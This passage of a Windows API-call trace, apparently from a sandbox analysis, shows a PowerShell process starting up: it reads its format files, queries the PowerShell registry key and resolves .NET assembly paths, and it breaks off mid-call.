[0083.422] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.422] SetErrorMode (uMode=0x1) returned 0x1 [0083.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0083.422] SetErrorMode (uMode=0x1) returned 0x1 [0083.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.423] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x304) returned 0x0 [0083.423] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.423] CoTaskMemAlloc (cb=0x5a) returned 0x1b03b0 [0083.423] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b03b0, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.423] CoTaskMemFree (pv=0x1b03b0) [0083.423] RegCloseKey (hKey=0x304) returned 0x0 [0083.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.423] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0083.426] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4bfa65b2, Data2=0x3bb6, Data3=0x4372, Data4=([0]=0xb9, [1]=0x67, [2]=0xb4, [3]=0x40, [4]=0x28, [5]=0x56, [6]=0x22, [7]=0xec))) returned 0x0 [0083.429] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xb21762bb, Data2=0x5a14, Data3=0x4f9f, Data4=([0]=0xa1, [1]=0xfe, [2]=0x15, [3]=0x5d, [4]=0x34, [5]=0x75, [6]=0x3b, [7]=0x2f))) returned 0x0 [0083.432] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1530f84e, Data2=0x8e12, Data3=0x4e24, Data4=([0]=0x8c, [1]=0x73, [2]=0x37, [3]=0x8f, [4]=0x1, [5]=0xd6, [6]=0xbb, [7]=0xad))) returned 0x0 [0083.432] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xf4591d69, Data2=0xd296, Data3=0x4613, Data4=([0]=0x80, [1]=0x8d, [2]=0x37, [3]=0xb8, [4]=0x78, [5]=0x3a, [6]=0x6e, [7]=0x1c))) returned 0x0 [0083.432] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x21409db5, Data2=0xfd01, Data3=0x4b6c, Data4=([0]=0x83, [1]=0xdd, [2]=0x41, [3]=0x62, [4]=0x1f, [5]=0x91, [6]=0xdd, [7]=0x21))) returned 0x0 [0083.432] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xbb695d63, Data2=0x1f2, Data3=0x4569, Data4=([0]=0xbb, [1]=0x65, [2]=0x2c, [3]=0x7e, [4]=0x44, [5]=0xa7, [6]=0x2f, [7]=0xdf))) returned 0x0 [0083.433] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.433] SetErrorMode (uMode=0x1) returned 0x1 [0083.433] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x304 [0083.433] GetFileType (hFile=0x304) returned 0x1 [0083.433] SetErrorMode (uMode=0x1) returned 0x1 [0083.433] GetFileType (hFile=0x304) returned 0x1 [0083.433] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.437] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.437] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.437] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.438] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.439] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.439] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0xaca, lpOverlapped=0x0) returned 1 [0083.439] ReadFile (in: hFile=0x304, lpBuffer=0x33ab262, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33ab262*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.439] ReadFile (in: hFile=0x304, lpBuffer=0x33abc30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x33abc30*, lpNumberOfBytesRead=0x24d098*=0x0, lpOverlapped=0x0) returned 1 [0083.439] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.439] SetErrorMode (uMode=0x1) returned 0x1 [0083.440] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x24d040 | out: lpFileInformation=0x24d040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0083.440] SetErrorMode (uMode=0x1) returned 0x1 [0083.440] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.440] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d128 | out: phkResult=0x24d128*=0x304) returned 0x0 [0083.440] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d0ac, lpData=0x0, lpcbData=0x24d0a8*=0x0 | out: lpType=0x24d0ac*=0x1, lpData=0x0, lpcbData=0x24d0a8*=0x56) returned 0x0 [0083.440] CoTaskMemAlloc (cb=0x5a) returned 0x1b03b0 [0083.440] RegQueryValueExW (in: hKey=0x304, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d07c, lpData=0x1b03b0, lpcbData=0x24d078*=0x56 | out: lpType=0x24d07c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d078*=0x56) returned 0x0 [0083.440] CoTaskMemFree (pv=0x1b03b0) [0083.440] RegCloseKey (hKey=0x304) returned 0x0 [0083.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.441] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.454] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0083.456] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0083.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0083.480] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0083.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0083.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0083.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0083.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_64\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll", lpFilePart=0x0) returned 0x60 [0083.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0083.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0083.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0083.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.Xml.dll", lpFilePart=0x0) returned 0x50 [0083.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management\\2.0.0.0__b03f5f7f11d50a3a\\System.Management.dll", lpFilePart=0x0) returned 0x5e [0083.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.DirectoryServices\\2.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll", lpFilePart=0x0) returned 0x6c [0083.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3c [0083.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0083.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0083.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.590] VirtualQuery (in: lpAddress=0x24bbc0, lpBuffer=0x24ca80, dwLength=0x30 | out: lpBuffer=0x24ca80*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.591] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x2806fcbd, Data2=0xc6f5, Data3=0x4344, Data4=([0]=0x90, [1]=0x93, [2]=0xc9, [3]=0x51, [4]=0x5b, [5]=0xcf, [6]=0xbd, [7]=0xf9))) returned 0x0 [0083.593] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x27cf5887, Data2=0xb027, Data3=0x4da5, Data4=([0]=0x87, [1]=0x5, [2]=0x34, [3]=0x28, [4]=0x86, [5]=0x9, [6]=0xee, [7]=0x1e))) returned 0x0 [0083.594] VirtualQuery (in: lpAddress=0x24bd70, lpBuffer=0x24cc30, dwLength=0x30 | out: lpBuffer=0x24cc30*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.595] VirtualQuery (in: lpAddress=0x24bd70, lpBuffer=0x24cc30, dwLength=0x30 | out: lpBuffer=0x24cc30*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.596] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xc14b6b1c, Data2=0x273d, Data3=0x429b, Data4=([0]=0x94, [1]=0xef, [2]=0x32, [3]=0x57, [4]=0xfa, [5]=0x5a, [6]=0x16, [7]=0x97))) returned 0x0 [0083.600] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0xcbf742e4, Data2=0xec6f, Data3=0x45f7, Data4=([0]=0x80, [1]=0x1f, [2]=0x66, [3]=0xe3, [4]=0x58, [5]=0xb0, [6]=0xae, [7]=0x74))) returned 0x0 [0083.600] VirtualQuery (in: lpAddress=0x24bfc0, lpBuffer=0x24ce80, dwLength=0x30 | out: lpBuffer=0x24ce80*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.602] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x4381beb5, Data2=0xbf22, Data3=0x4d27, Data4=([0]=0x99, [1]=0x9c, [2]=0x85, [3]=0x5e, [4]=0xe1, [5]=0xea, [6]=0x1a, [7]=0x4e))) returned 0x0 [0083.603] VirtualQuery (in: lpAddress=0x24b630, lpBuffer=0x24c4f0, dwLength=0x30 | out: lpBuffer=0x24c4f0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0083.604] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1b5a5af2, Data2=0xc70f, Data3=0x4671, Data4=([0]=0x82, [1]=0x25, [2]=0xd4, [3]=0x3f, [4]=0xcc, [5]=0x12, [6]=0xc4, [7]=0xb0))) returned 0x0 [0083.605] CoCreateGuid (in: pguid=0x24d350 | out: pguid=0x24d350*(Data1=0x1cc6ecf6, Data2=0x35f2, Data3=0x4b47, Data4=([0]=0xbf, [1]=0xa7, [2]=0x32, [3]=0xbe, [4]=0xa1, [5]=0xcb, [6]=0x5f, [7]=0xdd))) returned 0x0 [0083.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x24cb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0083.605] SetErrorMode (uMode=0x1) returned 0x1 [0083.606] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x304 [0083.606] GetFileType (hFile=0x304) returned 0x1 [0083.606] SetErrorMode (uMode=0x1) returned 0x1 [0083.606] GetFileType (hFile=0x304) returned 0x1 [0083.606] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.609] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.611] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.611] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.612] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.612] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.612] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.613] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.614] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x24d098, lpOverlapped=0x0 | out: lpBuffer=0x345e1c8*, lpNumberOfBytesRead=0x24d098*=0x1000, lpOverlapped=0x0) returned 1 [0083.614] ReadFile (in: hFile=0x304, lpBuffer=0x345e1c8, nNumberOfBytesToRead=0x1000, 